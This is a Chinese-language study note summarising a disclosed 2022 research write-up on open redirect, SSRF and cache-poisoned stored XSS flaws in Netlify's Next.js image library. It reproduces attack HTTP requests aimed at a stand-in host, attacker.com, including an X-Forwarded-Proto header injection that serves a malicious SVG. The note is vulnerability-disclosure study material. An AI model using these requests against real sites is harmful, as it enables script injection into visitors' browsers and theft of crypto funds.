2023-05-09:筆記 samcurry 的 Exploiting Web3’s Hidden Attack Surface: Universal XSS on Netlify’s Next.js Library.md
samcurry 2022 年的 blog,手法是 XSS
沒想到是 react framework Next.js 的漏洞!!
2022 年 8 月 24 日,我們向 Netlify 報告一個影響其 Next.js
netlify-ipx
repository 漏洞
- 該漏洞允許攻擊者在任何網站上實現
cross-site scripting
和full-response server side request forgery
功能 - 該漏洞於 2022 年 8 月 26 日被修復,並影響到許多高流量網站,包括 Gemini, PancakeSwap, Docusign, Moonpay Celo
隨著 Web3 browser extensions(如 Phantom, Metamask, Coinbase Wallet)的引入
- 看似
靜態
的網站越來越多,這些網站允許使用者直接從瀏覽器中與區塊鍊網路(如 Ethereum 和 Solana)進行互動 - 這些靜態加密貨幣網站大多是用 Next.js,並在 Netlify, Vercel 和 Github page 上運行
這些網站都使用 Next.js 的原因之一是
- Web3 功能在 Next.js 生態系統中的支持程度
- 有許多 library 可以輕鬆地與 browser extension wallets 合作,所以開發人員選擇用它
由於這些網站
- 通常不存儲敏感信息
- 沒有改變狀態的功能
- 也沒有許多互動網站的傳統元素(登錄、註冊、資料等)
- 所以很容易認為它們缺乏任何有趣的 server-side functionality
- 然而,在對這些框架進行了幾個月的調查後,我們意識到,由於在 Next.js 之上運行的許多
server-side components
,情況並非如此
從安全角度接近在 Next.js 上運行 lightweight JavaScript 網站時,目標的傳統 CVSS 模型有以下變化:
完整性(Web3 網站最重要的安全要素):
- 變成了最敏感的 CVSS 元素。使用者必須相信他們正在訪問的網站沒有返回不正確的信息
- 如果攻擊者能夠修改 HTTP response,以包括一個惡意的 contract,或者在 client 的 data 被發送到 contract 時篡改,他們可以欺騙使用者簽署一個交易,這將批准攻擊者訪問他們的任何代幣和 NFTs
- 加密貨幣生態系統目前沒有一個方便的方法來驗證被交互的合約地址是否屬於網站所有者
- 普通使用者在他們信任的網站上進行操作時,不會驗證他們所互動的合約是否正確
可用性:
- 由於這些網站的去中心化性質,使用者可以通過第三方網站直接與 contract 對接,甚至自己運行一個鏈的副本
- 如果攻擊者能夠攻陷一個流行的加密貨幣網站,使用者只需尋找替代主機,或使用像 Etherscan 這樣的工具,讓他們直接與合約對接
- 這帶來了額外的風險,因為許多使用者的技術水平不足以理解形成 contract 呼叫的具體細節(例如,發送正確的小數點數量)
- 拒絕服務攻擊(
denial of service attack
)的一個攻擊場景是:- 破壞一個用於 contract 互動的流行網站,如Etherscan,然後
- 關閉流行的網站或通常承載功能的網站的 DNS
- 然後他們可以強迫大量的使用者與他們的惡意 contract 互動,並竊取使用者資金
保密性(對 Web 3網站來說是最不重要的安全要素):
- 變得有些無關緊要,當所有的 data 已經公開(鏈上)時,你會從一個 app 中獲得什麼敏感資訊?
- 由於使用者對匿名的重視,能夠配對錢包地址和使用者 meta data 將是影響 Web3 網站的最有影響的發現之一
作為 bug hunters 接近這些網站時
- 我們了解到他們有不同的安全模式
- 我們特別關注如何破壞網站的「完整性」
- 我們密切關注資源是如何被導入網站的
- 想像一下,如果攻擊者將 OpenSea 的 CDN 上的 Tether 標誌更新為 Ethereum 標誌,然後用 100 個假 ETH 競拍 NFT,只需 100美元
- 並獵取我們可以修改 page response 和 page DOM 的方法(跨站腳本(cross-site scripting),任意文件上傳,subdomain 接管,DNS 問題,IPFS 問題等)
每當有大量特別敏感的目標被歸入任何一個單一的籃子,從安全的角度來看,就很難忽視這個籃子
這導致我們在大約 3 個月的時間裡對 Next.js 生態系統進行了斷斷續續的審計
PancakeSwap, 非常活躍的 DeFi 網站、Next.js | OpenSea, 最大的 NFT 平台、Next.js |
---|---|
使用 Next.js 的好處之一是圖片優化功能
- 它可以更快地提供圖片,cache 圖片,並提高 google SEO rank
它的工作方式是
- 在網站上有一個暴露的路由
- 它將代理並嘗試優化所有的圖片
- 像 Netlify 這樣的供應商會做繁重的工作,對圖片進行 server side 修改
- 這樣使用者就會體驗到更快的圖片載入速度
一個使用者與該服務的互動例子:
- Next.js 會 return 修改過的 DOM,所有的
<img src=
.../>
element 都通過/_next/image
路徑來 redirect - 開啟頁面的使用者通過以下 HTTP request 載入圖片:
GET /_next/image?url=/example.png&w=128&h=128&q=100
- Host 在 server side 載入資源,然後為使用者生成並返回修改後的優化版本
在調查了這個功能後,我們觀察到兩件事:
- 當系統載入一個資源時,它將遵循任何 HTTP redirects,甚至到外部網站
- (例如
/_next/image?url=/redirect?url=//attacker.com
)
- (例如
- 如果資源返回錯誤,網站將忽略任何內容類型檢查,並返回完整的頁面內容(包括
text/html
) - 該功能允許開發人員將主機列入白名單,從而使服務器將外部 HTTP request 作為一種預期功能
我們發現的第一個問題是,由於網站試圖載入本地資源的方式,導致了 open redirect:
當 _next/image
的 handler 嘗試載入本地資源時
- 它向自己發送了一個模擬的 HTTP request
- 由於資源的 URL 參數是由使用者通過 HTTP GET 參數發送的,攻擊者可以為 URI 提供反斜線的 URL
- (未編碼(unencodedc)的 URL 通常是不可能通過正常的 HTTP request)
- 當這個問題與 Next.js web server 的默認行為配對時,即使用者試圖訪問一個不存在的文件夾時被重定向,攻擊者可以使 HTTP respnse redirect 到任意網站
-
發送以下 HTTP request:
GET /_next/image?url=/\/\example.com/&q=100&w=128&h=128 主機: victim.com
-
觀察將你 redirects 到
example.com
的HTTP response:HTTP/2 308 Permanent Redirect Content-Type: text/html Location: /\/\/example.com
直接來說
- 這允許攻擊者在任何運行默認
next/image
的 Next.js 網站上進行 open redirect - 許多具有這種功能的網站的白名單上有 OAuth callback domains
- 攻擊者可以通過濫用 OAuth 白名單上的網站的 open redirect 向來實現帳號接管
我們發現的上述 open redirect 很有意思
- 因為它實際上是將 redirect 返回給使用者,而不是在 server side 跟踪它
- 這是因為它實際上在後端造成了一個錯誤,它不允許人們向不存在的路由發送請求,並在末尾有額外的斜線,所以它突破了功能,並以結束重定向使用者
當我們發現 _ipx
路由時,我們繼續研究圖片優化 endpoints
- 這個路由很有趣,因為它的功能與
_next/image
路由非常相似 - 但有多個不同的版本由不同的人運行
- (例如 Nuxt.js,一個完全獨立的 library,有個叫做
unjs/ipx
的 extension,不載入外部資源,而 Netlify 運行的@netlify/ipx
則載入 NPM module)
- (例如 Nuxt.js,一個完全獨立的 library,有個叫做
由於我們的感興趣的地方在於發現 open redirect、SSRF 和 cross-site scripting 等問題
- 我們研究了 Netlify 的
IPX
版本
優化本地資源的 HTTP Request:
GET /_ipx/w_200/%2flocal.png
Host: example.com
(loaded example.com/local.png)
優化外部資源的 HTTP Request:
GET /_ipx/w_200/https:%2f%2fexplicitly-allowed-website.com%2fimage.png
Host: example.com
(loaded explicitly-allowed-website.com/image.png IF the site was whitelisted)
在玩了一會兒這個功能後
- 我們發現它使用了我們從未見過的獨特的 URL parsing library
- 我們找到了 source code,並意識到有可能通過一些不同的混亂攻擊來破壞 URL 解析功能
2. 依賴脆弱的 unjs/ufo
library,通過不當的主機解析,在 @netlify/ipx
上進行 Cross-Site Scripting (跨站腳本攻擊)和 server side Request Forgery (請求偽造)
如果開發者在 config 加了白名單主機
- 由於
unjs/ufo
中不正確的 URL 解析,就有可能在任何運行@netlify/ipx
library 的網站上實現 Cross-Site Scripting 和 server side Request Forgery
- 在 config 中加入
example.com
作為白名單主機,並將attacker.com
替換成由你控制的主機後,向任何運行@netlify/ipx
library 的網站發送以下 HTTP request:
GET /_ipx/w_200/https:%2f%2fexample.com%5c@attacker.com%2fattack.svg
Host: example.com
(上面的例子 decode: /_ipx/w_200/https://example.com\@attacker.com/attack.svg
)
- 觀察一個發送到你控制的 domain (
attacker.com
) 的 HTTP request
- 如果你在特定的路由上託管一個
content-type
為image/svg+xml
的 SVG 文件,就有可能通過 SVG 文件執行任意的 JavaScript
攻擊者
- 可以通過惡意的 SVG 執行任意的 JavaScript 和編寫任意的 HTML
- 有可能繞過主機白名單,從任何網站發送/讀取圖片文件
- 這可能被大量的網站濫用,因為
/_ipx/
路由是默認安裝在許多 Netlify 的
在發現上述問題後
- 我們有些沮喪,因為這並不是一個完全通用的漏洞
- 攻擊者必須找到一個將主機加到白名單的主機,並且知道哪些主機被加到白名單
我們改變了重點
- 開始尋找一個通用的漏洞,它可以在任何
@netlify/ipx
安裝中起作用 - 由於
IPX
是 open source,我們開始研究 code 並發現了這個有趣的片段:
const handler: Handler = async (event, _context) => {}
const host = event.headers.host
const protocol = event.headers['x-forwarded-proto'] || 'http'
當構建為 fetch 優化圖片而發出的 HTTP request 時
- server 將默認發送
http
,除非通過x-forwarded-proto
header 另外指定 protocol - 上述程式碼也是在 fetch 本地圖片的情況下使用的,所以它在沒有白名單的情況下也是可用的
我們開始搗鼓 x-forwarded-proto
header
- 然後才意識到它是 semi-custom 的,並從 header 中解析了整個字符串
下面的程式碼 demo id
參數(後來用於發送完整的 HTTP request)明明白白地插入了我們在 x-forwarded-proto
header 中發送的字串:
const isLocal = !id.startsWith('http')
if (isLocal) {
id = `${protocol}://${host}${id.startsWith('/') ? '' : '/'}${id}`
if (event.headers.cookie) {
requestHeaders.cookie = event.headers.cookie
}
//...
}
上述程式碼解析完 id
參數後
- 在下面的程式碼中使用它來實際觸發 HTTP request:
const { response, cacheKey, responseEtag } = await loadSourceImage({
cacheDir,
url: id,
requestEtag,
modifiers,
isLocal,
requestHeaders
})
if (response) {
return response
}
我們意識到
- 可以通過
x-forwarded-proto
header 送一個尾巴帶有完整 URL header - 這將覆蓋 server 試圖到達的 URL
- 因為易受攻擊的元件是為圖片優化而構建的,它具有強大的緩存功能,可以根據你通過實際 URL 的 endpoint 來 cache 圖
有可能
- 用攻擊者控制的主機和惡意文件加
x-forwarded-proto
header,然後 - 複製你發送 HTTP request 的 URL
- 將完整的 URL 發送到被 cache 的受害者,從而在打開後觸發 XSS paylaod
報告全文如下:
3. 通過對 x-forwarded-proto
header 的不當處理和可濫用的 cache 機制,在 netlify-ipx
上進行全面的 Cross-Site Scripting and Server-Side Request Forgery
netlify-ipx
library 使用 /_ipx/
路由載入本地資源進行圖片優化
- 在建立使用者請求資源後 server 發送 HTTP request 的 URL 時,有段程式碼通過
x-forwarded-proto
header 接受輸入 - 並允許攻擊者完全覆蓋 HTTP request 被發送到的 URL
- 有可能通過這個 header 送一個完全由攻擊者控制的 URL
- 當與服務器 cache 功能配對時,就會在攻擊者決定用作 cache endpoint 的
/_ipx/
路由下的任何 URL 上創建一個存儲的 cross-site scripting payload 的 index- (如:
/_ipx/example.svg
)
- (如:
- 向
/_ipx/
endpoint 下的任何 endpoint 發送以下 HTTP request,其中attacker.com
是你控制的網路服務器的主機,malicious.svg
是一個帶有XSS有效載荷的SVG文件:GET /_ipx/example.svg Host: example.com X-Forwarded-Proto: http://attacker.com/malicious.svg?
- 觀察一下,server 將代理 HTTP request 到攻擊者控制的 URL,並返回惡意的 SVG 文件
- 複製你發送 HTTP request 的完整 URL,在不發送任何額外頭信息的情況下打開它,觀察該 endpoint 已經被攻擊者控制的主機的 HTTP response 給 cache 了,並將返回惡意的內容
在所有運行 netlify-ipx
的網站上出現完全的 cross-site scripting
and server-side request forgery
- 攻擊者可以創建一個存儲的
cross-site scripting
的 endpoint - 當受害者訪問該 endpoint 時可以執行任意的 JavaScript 和 HTML